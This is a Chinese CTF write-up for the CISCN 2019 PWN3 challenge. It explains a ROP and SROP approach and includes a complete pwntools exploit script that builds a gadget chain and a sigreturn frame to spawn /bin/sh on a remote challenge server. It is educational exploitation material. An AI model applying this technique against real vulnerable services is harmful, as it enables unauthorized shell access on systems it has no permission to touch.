Problem: [CISCN 2019华南]PWN3
[[toc]]
思路
- 这里我一开始想试试直接ret2syscall,但是构造了半天发现最后没办法给rdx赋值为0,所以行不通,然后就回头去学习这个SROP了;其中我发现了一个有趣的gadget联动,就是有一个mov rax,0xf(这时我还不会srop),然后又发现了一个and al, 0xf0 ; mov rdi, rax ; syscall的gadget(用ROPgadget工具找的),然后刚好这两个先后执行就可以使rax与rdi都为0,然后利用程序原本设置的rdx,再自己利用pop rsi;ret设置rsi=addr的值,就可以执行read(0,addr,0x30),然后我就把/bin/sh读到bss段了,这样就不用获取栈地址了。之后就是学习使用SROP了,这儿我就不献丑了,推荐一个博客吧:
- https://www.anquanke.com/post/id/217081
EXP
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node5.anna.nssctf.cn',28792)
ret_add = 0x00000000004003a9
#pop_rdi_ret = 0x00000000004005a3
mov_rax_3b_add = 0x00000000004004E2
pop_rsi_r15_ret = 0x00000000004005a1
and_al_add = 0x00000000004004fc
mov_rax_f_add = 0x00000000004004da
vuln_add = 0x00000000004004ED
syscall_add = 0x0000000000400517
#gdb.attach(p)
payload = b"A"*0x10 + p64(pop_rsi_r15_ret) + p64(0x0000000000601030) + p64(0) + p64(mov_rax_f_add) + p64(and_al_add) + p64(vuln_add)
p.sendline(payload)
p.send(b"/bin/sh\x00")
p.recv()
#gdb.attach(p)
frame = SigreturnFrame()
frame.rdi = 0x0000000000601030
frame.rax = 59
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_add
p.send(b"A"*0x10 + p64(mov_rax_f_add) + p64(syscall_add) + bytes(frame))
p.interactive()
总结
- 对该题的考点总结

加载中...